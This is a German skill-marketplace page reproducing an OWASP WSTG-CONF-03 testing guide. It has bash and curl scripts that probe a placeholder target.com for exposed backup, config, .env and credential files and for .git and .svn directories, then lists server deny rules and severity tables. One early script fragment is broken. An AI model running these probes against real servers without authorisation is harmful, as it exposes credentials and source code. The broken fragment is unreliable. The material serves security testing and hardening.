Menü
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-conf-03Der Befehl bleibt in einer Zeile. Scrollen Sie horizontal, um ihn vor dem Kopieren vollständig zu prüfen.
Sie bevorzugen eine lokale Kopie? Laden Sie die Dateien herunter, die SkillsMP derzeit vorliegen.
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
Basierend auf der SOC-Berufsklassifikation
SKILL.md wird angezeigt
| name | wstg-conf-03 |
| description | Test File Extensions Handling for Sensitive Information |
| category | configuration |
| owasp_id | WSTG-CONF-03 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["misconfiguration","hardening","server","wstg","conf"] |
| tech_stack | [] |
| cwe_ids | ["CWE-200"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CONF-03
Test File Extensions Handling for Sensitive Information
This test examines how the web server handles different file extensions. Misconfigured servers may expose source code, include files, backup files, or other sensitive content when requested with specific extensions. Attackers exploit these misconfigurations to access database credentials, API keys, and other sensitive information stored in files that should never be served directly.
# Spider the site to find existing files
wget --spider -r -l 3 https://target.com 2>&1 | grep -oP 'https?://[^\s]+' > urls.txt
# Extract unique extensions
cat urls.txt | grep -oP '\.[a-zA-Z0-9]+$' | sort -u
BASE_FILE=
ext \
.bak .backup .old .orig .save .swp .tmp \
.txt .inc .src .dev . \
.php~ .php.bak .php.old .php.save \
.1 .2 _backup _old _copy;
test_file=
status=$(curl -s -o /dev/null -w )
[ == ];
# Extensions that should never be served
dangerous_exts=(".inc" ".config" ".conf" ".cfg" ".ini"
".sql" ".db" ".sqlite" ".mdb"
".log" ".bak" ".backup" ".old"
".asa" ".asax" ".ascx" ".ashx" ".asmx"
".yml" ".yaml" ".json" ".xml"
".env" ".htaccess" ".htpasswd")
for ext in "${dangerous_exts[@]}"; do
# Test common filenames with this extension
for name in config database connection settings credentials secrets; do
test_file="${name}${ext}"
status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/$test_file")
if [ "$status" == "200" ]; then
echo "FOUND: $test_file"
fi
done
done
# Common include file patterns
includes=("connection.inc" "config.inc" "database.inc" "db.inc"
"conn.inc" "settings.inc" "common.inc" "global.inc"
"init.inc" "functions.inc" "class.inc")
for file in "${includes[@]}"; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/$file")
if [ "$status" == "200" ]; then
echo "INCLUDE FILE FOUND: $file"
# Check content for sensitive data
curl -s "https://target.com/$file" | head -50
fi
done
# Git directory
curl -s https://target.com/.git/config
curl -s https://target.com/.git/HEAD
curl -s https://target.com/.git/index
# SVN directory
curl -s https://target.com/.svn/entries
curl -s https://target.com/.svn/wc.db
# If .git is accessible, dump repository
# git-dumper (https://github.com/arthaud/git-dumper)
git-dumper https://target.com/.git/ output_dir/
# Test case variations (especially on Windows/IIS)
original="config.php"
variations=("Config.php" "CONFIG.PHP" "config.PHP" "CONFIG.php"
"config.Php" "cOnFiG.pHp")
for var in "${variations[@]}"; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/$var")
echo "$var: $status"
done
# Double extension bypass attempts
for ext in .php .asp .aspx .jsp; do
test_files=(
"file${ext}.txt"
"file${ext}.jpg"
"file.txt${ext}"
"file${ext}."
"file${ext}::DATA" # NTFS alternate data stream
)
for file in "${test_files[@]}"; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/$file")
echo "$file: $status"
done
done
# Windows short filename exploitation
# If file exists as "configuration.php", test:
short_names=("CONFIG~1.PHP" "CONFIG~1.PHT" "SHELL~1.PHP")
for name in "${short_names[@]}"; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/$name")
echo "$name: $status"
done
# Null byte injection (older systems)
curl -s "https://target.com/config.php%00.txt"
curl -s "https://target.com/config.php%00.jpg"
| Tool | Description | Usage |
|---|---|---|
| Nikto | Web scanner | nikto -h target.com |
| Dirb | Directory brute-force | dirb https://target.com |
| Gobuster | Directory/file enumeration | gobuster dir -u target.com -w wordlist.txt -x bak,old,txt |
| ffuf | Fast fuzzer | ffuf -u target.com/FUZZ -w wordlist.txt |
| Tool | Description | Usage |
|---|---|---|
| git-dumper | Git repository extraction | git-dumper url output/ |
| svn-extractor | SVN extraction | Extract SVN repos |
| GitTools | Git exploitation | Multiple tools |
#!/bin/bash
TARGET=$1
BASE_PATH=$2 # e.g., /includes/
echo "=== FILE EXTENSION HANDLER TEST ==="
# Dangerous extensions
dangerous=(".inc" ".config" ".conf" ".cfg" ".ini" ".env"
".sql" ".db" ".sqlite" ".log" ".bak" ".backup"
".old" ".save" ".swp" ".tmp" ".orig")
# Common filenames
filenames=("config" "database" "db" "connection" "conn"
"settings" "credentials" "secrets" "password"
"backup" "dump" "export" "import")
# Test combinations
for name in "${filenames[@]}"; do
for ext in "${dangerous[@]}"; do
file="${name}${ext}"
url="https://$TARGET$BASE_PATH$file"
status=$(curl -s -o /dev/null -w "%{http_code}" "$url")
if [ "$status" == "200" ]; then
echo "[CRITICAL] FOUND: $url"
# Show first 10 lines
curl -s "$url" | head -10
echo "---"
fi
done
done
# Test for backup extensions on known files
echo "[+] Testing backup extensions..."
known_files=("index.php" "config.php" "database.php" "wp-config.php")
backup_exts=(".bak" ".backup" ".old" ".save" "~" ".orig" ".1" ".2")
for file in "${known_files[@]}"; do
for ext in "${backup_exts[@]}"; do
test_url="https://$TARGET/${file}${ext}"
status=$(curl -s -o /dev/null -w "%{http_code}" "$test_url")
if [ "$status" == "200" ]; then
echo "[HIGH] BACKUP FOUND: $test_url"
fi
done
done
# Version control
echo "[+] Checking version control..."
vc_files=(".git/config" ".git/HEAD" ".svn/entries" ".svn/wc.db"
".hg/hgrc" ".bzr/README" "CVS/Root")
for file in "${vc_files[@]}"; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET/$file")
if [ "$status" == "200" ]; then
echo "[CRITICAL] VERSION CONTROL EXPOSED: $file"
fi
done
echo "[+] Scan complete"
# Scan with multiple extensions
gobuster dir -u https://target.com \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,bak,old,txt,inc,config,sql,log,backup,env \
-o gobuster_results.txt
# Specifically for backup files
gobuster dir -u https://target.com \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x bak,backup,old,save,orig,swp,tmp,1,2 \
-o backup_files.txt
# Fuzz file extensions
ffuf -u https://target.com/config.FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt \
-mc 200
# Fuzz filename with extension
ffuf -u https://target.com/FUZZ.bak \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200
# Block specific extensions
<FilesMatch "\.(inc|config|sql|bak|backup|old|log|env)$">
Require all denied
</FilesMatch>
# Block backup patterns
<FilesMatch "(\.(bak|backup|old|save|swp|tmp)|~)$">
Require all denied
</FilesMatch>
# Block version control
<DirectoryMatch "^\.|\/\.">
Require all denied
</DirectoryMatch>
# Block dangerous extensions
location ~* \.(inc|config|sql|bak|backup|old|log|env)$ {
deny all;
return 404;
}
# Block backup files
location ~* \.(bak|backup|old|save|swp|tmp)$ {
deny all;
}
# Block version control
location ~ /\. {
deny all;
}
<system.webServer>
<security>
<requestFiltering>
<fileExtensions>
<add fileExtension=".inc" allowed="false" />
<add fileExtension=".config" allowed="false" />
<add fileExtension=".sql" allowed="false" />
<add fileExtension=".bak" allowed="false" />
<add fileExtension=".log" allowed="false" />
</fileExtensions>
<hiddenSegments>
<add segment=".git" />
<add segment=".svn" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
# Keep sensitive files outside web root
/var/www/html/ <- Web root (public)
/var/www/includes/ <- Include files (outside web root)
/var/www/config/ <- Configuration (outside web root)
# PHP include path
include('/var/www/includes/database.php');
# Find and remove backup files
find /var/www/html -name "*.bak" -delete
find /var/www/html -name "*.backup" -delete
find /var/www/html -name "*.old" -delete
find /var/www/html -name "*~" -delete
find /var/www/html -name "*.swp" -delete
// Use .php extension for include files
// Instead of: database.inc
// Use: database.inc.php
// This ensures PHP processes the file instead of serving it
| Finding | CVSS | Severity |
|---|---|---|
| Source code disclosure | 7.5 | High |
| Database credentials in .inc | 9.8 | Critical |
| .git directory exposed | 9.8 | Critical |
| Backup files with credentials | 9.8 | Critical |
| Configuration file readable | 7.5-9.8 | High-Critical |
| SQL dump accessible | 9.8 | Critical |
Typical Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
| CWE ID | Title | Description |
|---|---|---|
| CWE-200 | Information Exposure | Sensitive file disclosure |
| CWE-219 | Storage of File with Sensitive Data Under Web Root | Files in wrong location |
| CWE-530 | Exposure of Backup File to an Unauthorized Control Sphere | Backup file exposure |
| CWE-538 | Insertion of Sensitive Information into Externally-Accessible File | Config in public files |
[ ] Known file extensions identified
[ ] Alternative extensions tested (.bak, .old, etc.)
[ ] Include files (.inc) checked
[ ] Configuration files tested
[ ] Backup files scanned
[ ] Version control directories checked (.git, .svn)
[ ] Case sensitivity tested
[ ] Double extensions tested
[ ] Null byte injection tested (legacy)
[ ] Windows 8.3 names tested
[ ] Source code disclosure verified
[ ] Sensitive data exposure documented
[ ] Risk ratings assigned
[ ] Remediation recommendations provided